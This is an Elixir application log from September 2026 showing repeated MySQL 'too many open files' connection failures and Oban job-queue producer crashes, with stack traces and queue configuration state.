[Sat Sep  5 22:59:35.668000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:38.620000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:59:28.240774Z], limit: 3, uuid: "5064d28d-d14d-4ebd-9c04-9b37a21a550a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:28.240781Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229265>, refresh_timer: #Reference<0.2525715032.1068236804.248047>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:59:28.240974Z], limit: 50, uuid: "bcd5289a-0f57-4c28-9d45-451e429f7bec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:28.240979Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229264>, refresh_timer: #Reference<0.2525715032.1068236804.248048>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:59:28.242131Z], limit: 5, uuid: "2839701c-c341-407c-ba5f-90eb0ccdaa99", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:28.242137Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229268>, refresh_timer: #Reference<0.2525715032.1121189889.101767>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:59:28.240961Z], limit: 10, uuid: "1aa1e87b-a9be-4c85-9868-13bacb4b408c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:28.240966Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229267>, refresh_timer: #Reference<0.2525715032.1121189889.101748>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:59:28.240058Z], limit: 5, uuid: "e552c74c-269a-4ef3-8cb2-f6be4f6e06d3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:28.240068Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229269>, refresh_timer: #Reference<0.2525715032.1121189889.101747>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:59:28.240981Z], limit: 20, uuid: "3f29d0ac-c332-49fc-8484-9b0024009e7c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:28.240987Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229266>, refresh_timer: #Reference<0.2525715032.1121189889.101749>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:40.702000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:45.284000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:48.158000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:50.009000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:53.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:53.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:59:40.246981Z], limit: 5, uuid: "e1b040b5-f3a6-479e-99cb-2f0a11d77e60", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:40.246987Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229698>, refresh_timer: #Reference<0.2525715032.1068236804.248139>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:53.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:59:40.260776Z], limit: 20, uuid: "78517bf1-ac46-4f7f-8fb9-af7ad3886565", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:40.260786Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.229701>, refresh_timer: #Reference<0.2525715032.1121189889.101888>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:53.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
